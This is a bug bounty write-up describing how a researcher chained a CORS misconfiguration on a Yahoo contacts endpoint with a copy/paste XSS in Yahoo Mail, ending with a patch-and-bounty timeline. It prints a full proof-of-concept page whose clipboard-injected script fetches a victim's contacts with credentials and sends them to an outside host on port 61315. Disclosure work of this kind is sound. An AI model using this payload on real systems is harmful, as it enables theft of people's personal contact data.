Chaining Bugs to Steal Yahoo Contacts!

Introduction & Background:

This is a write-up of how I chained two vulnerabilities (an XSS and a CORS misconfiguration) that allowed me to steal contacts from a victim's contact book. This data included: names, phone numbers, addresses, etc.

Cross-Origin-Resource Sharing

Cross-Origin Resource Sharing (CORS) is a mechanism that uses additional HTTP headers to let a user agent gain permission to access selected resources from a server on a different origin (domain) than the site currently in use.

Browsers enforce the Same-Origin Policy, meaning that data on a site is only accessible from the same domain and port, unless there is a CORS configuration. This allows data to be shared with other sites.

Cross-Site Scripting:

XSS is a client-side code injection attack that allows an attacker to insert scripts (such as javascript) into a vulnerable application. If you don't know what it is, you should.

The Bugs:

Bug #1: A CORS Misconfiguration in http://proddata.xobni.yahoo.com

I was browsing through various requests made to *.yahoo.com subdomains logged in the "Target" tab of Burp Suite. I came across the subdomain proddata.xobni.yahoo.com and was intrigued by the name.

There were only a few requests logged, but all to the same endpoint: https://proddata.xobni.yahoo.com/v4/contacts. This endpoint contains every contact you have in your Contact Book via a single GET request.

I noticed the origin https://mail.yahoo.com was being reflected back in the Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true header. I tried modifying the origin to many different payloads that I thought may work and be reflected, however none were reflected back. I then tried to send a different Yahoo! subdomain as the origin, rather than the mail.yahoo.com one.

curl 'https://proddata.xobni.yahoo.com/v4/contacts' -s -H 'Origin: https://hackerone-cdl.yahoo.com' --head

Response:

Access-Control-Allow-Origin: https://hackerone-cdl.yahoo.com
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Credentials: true

It accepted any _.yahoo.com subdomain in the origin and reflected it back in the ACAO with Allow-Credentials: true. This meant if I could find an XSS on _.yahoo.com, I could leverage it to steal contacts.

Bug #2: An XSS in Yahoo! Mail

A few days passed and I still hadn't found an XSS. Then I saw a tweet from Enguerran Gillier regarding a wontfix Copy+Paste XSS he had found in Yahoo Mail. I quickly wget'd that POC from his server and edited it to fit my needs. (Turns out after reporting the chained bugs, the XSS wasn't marked as a wontfix and there was some miscommunication, so lucky me!). It required more user-interaction than I had wanted, but I didn't care, I just wanted to chain them and report them as soon as possible.

The Grand Finale

This was my proof-of-concept, that required a logged in user to copy any text from this page and paste it into Yahoo Mail.

<!doctype html>
<head>
  <title>Yahoo CORS Misconfiguration</title>
</head>
<body>
  <h1>Yahoo CORS Misconfiguration</h1>
  <p>
    Stealing Contact information via CORS Misconfiguration + Yahoo Mail XSS via
    Copy/Paste
  </p>
  <h3>Prerequisites :</h3>
  - Tested on Windows 10 with Firefox 56, Chrome 62, Edge<br />
  <h3>Instructions :</h3>
  1. Select any text in this page and copy it using ctrl-C or right click ->
  copy <br />
  <span>Copy status : </span><span id="copied">not copied yet</span> <br />
  2. Go to Yahoo Mail, compose a new email and paste inside the email body<br />
  3. All of your contact's information will be sent to my server on port 61315
  <script>
    document.addEventListener("copy", function (e) {
      e.clipboardData.setData("text/plain", "");
      e.clipboardData.setData(
        "text/html",
        '<div id="enhancr2_a" class="yahoo-link-enhancr-card">xxx</div><img src="x" onerror="document.write(\'&lt;script&gt;var xhttp=new XMLHttpRequest();xhttp.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {document.location=&#x22;http://example.com:61315&#x22;+escape(this.responseText);}};xhttp.open(&#x22;GET&#x22;,&#x22;https://proddata.xobni.yahoo.com/v4/contacts&#x22;,true);xhttp.withCredentials = true;xhttp.send();&lt;/script&gt;\');">',
      );
      e.preventDefault();
      document.getElementById("copied").textContent = "SUCCESSFULLY COPIED";
    });
  </script>
</body>

Proof-of-Concept Video:

Timeline

(11/8/2017) Reported to Yahoo! via HackerOne
(11/9/2017) Confirmed & awarded $150 on Triage
(11/15/2017) Vulnerability Patched
(12/10/2017) Awarded a $1,850 bounty (making the entire bounty $2,000)

This was a fun report for me and I hoped you enjoyed it as well!

Thanks for reading,

Corben Leo